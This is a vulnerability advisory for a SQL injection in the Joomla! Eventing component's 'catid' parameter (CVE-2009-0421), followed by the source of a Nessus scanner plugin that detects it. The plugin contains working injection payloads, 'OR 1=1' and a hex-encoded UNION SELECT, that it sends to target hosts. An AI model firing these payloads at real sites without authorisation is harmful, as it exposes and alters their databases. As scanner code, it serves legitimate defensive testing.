CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
27.8%
The version of the Eventing component for Joomla! running on the remote host is affected by a SQL injection vulnerability in eventing.php due to improper sanitization of user-supplied input to the ‘catid’ parameter before using it to construct database queries.
Regardless of the PHP ‘magic_quotes_gpc’ setting, an unauthenticated, remote attacker can exploit this issue to manipulate database queries, resulting in disclosure of sensitive information, modification of data, or other attacks against the underlying database.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(35435);
script_version("1.23");
script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/05");
script_cve_id("CVE-2009-0421");
script_bugtraq_id(33296);
script_xref(name:"EDB-ID", value:"7793");
script_name(english:"Eventing Component for Joomla! 'catid' Parameter SQLi");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of the Eventing component for Joomla! running on the
remote host is affected by a SQL injection vulnerability in
eventing.php due to improper sanitization of user-supplied input to
the 'catid' parameter before using it to construct database queries.
Regardless of the PHP 'magic_quotes_gpc' setting, an unauthenticated,
remote attacker can exploit this issue to manipulate database queries,
resulting in disclosure of sensitive information, modification of
data, or other attacks against the underlying database.");
script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:U/RC:X");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_cwe_id(89);
script_set_attribute(attribute:"plugin_publication_date", value:"2009/01/21");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2009-2024 Tenable Network Security, Inc.");
script_dependencies("joomla_detect.nasl");
script_require_keys("installed_sw/Joomla!", "www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:80, php:TRUE);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);
# Verify component is installed
plugin = "Eventing";
# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);
if (!installed)
{
checks = make_array();
regexes = make_list();
regexes[0] = make_list('eventscalendar');
checks["/components/com_eventing/eventing.css"] = regexes;
# Ensure plugin is installed
installed = check_webapp_ext(
checks : checks,
dir : dir,
port : port,
ext : plugin
);
}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");
# This function converts a string to a concatenation of hex chars so we
# can pass in strings without worrying about PHP's magic_quotes_gpc.
function hexify(str)
{
local_var hstr, i, l;
l = strlen(str);
if (l == 0) return "";
hstr = "concat(";
for (i=0; i<l; i++)
hstr += hex(ord(str[i])) + ",";
hstr[strlen(hstr)-1] = ")";
return hstr;
}
# Try to exploit the issue to list all events using a random category id.
catid = unixtime();
exploit = catid + " OR 1=1";
url = dir + "/index.php?option=com_eventing&catid=" + exploit;
url = str_replace(find:" ", replace:"%20", string:url);
res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
# If it looks like Eventing...
if ('com_eventing' >< res[2])
{
# If we see did not see any results...
if ('onmouseout="return nd();"' >!< res[2])
{
# Try a different exploit that works even if there are no events,
# although it does require an older version of MySQL.
#
# nb: this creates an entry for the current day with the name of the plugin.
exploit = catid + " UNION SELECT 1,2," + hexify(str:SCRIPT_NAME) + ",4," +
hexify(str:'yesterday') + "," + hexify(str:'today') + ",7,8,9,10/*";
url = dir + "/index.php?option=com_eventing&catid=" + exploit;
url = str_replace(find:" ", replace:"%20", string:url);
res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
}
# There's a problem if we see some events.
if (
'<td class="eventday">' >< res[2] &&
'onmouseout="return nd();"' >< res[2]
)
{
output = strstr(res[2], '<td class="eventday">');
if (empty_or_null(output)) output = res[2];
security_report_v4(
port : port,
severity : SECURITY_HOLE,
generic : TRUE,
sqli : TRUE,
request : make_list(build_url(port:port, qs:url)),
output : output
);
exit(0);
}
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " component");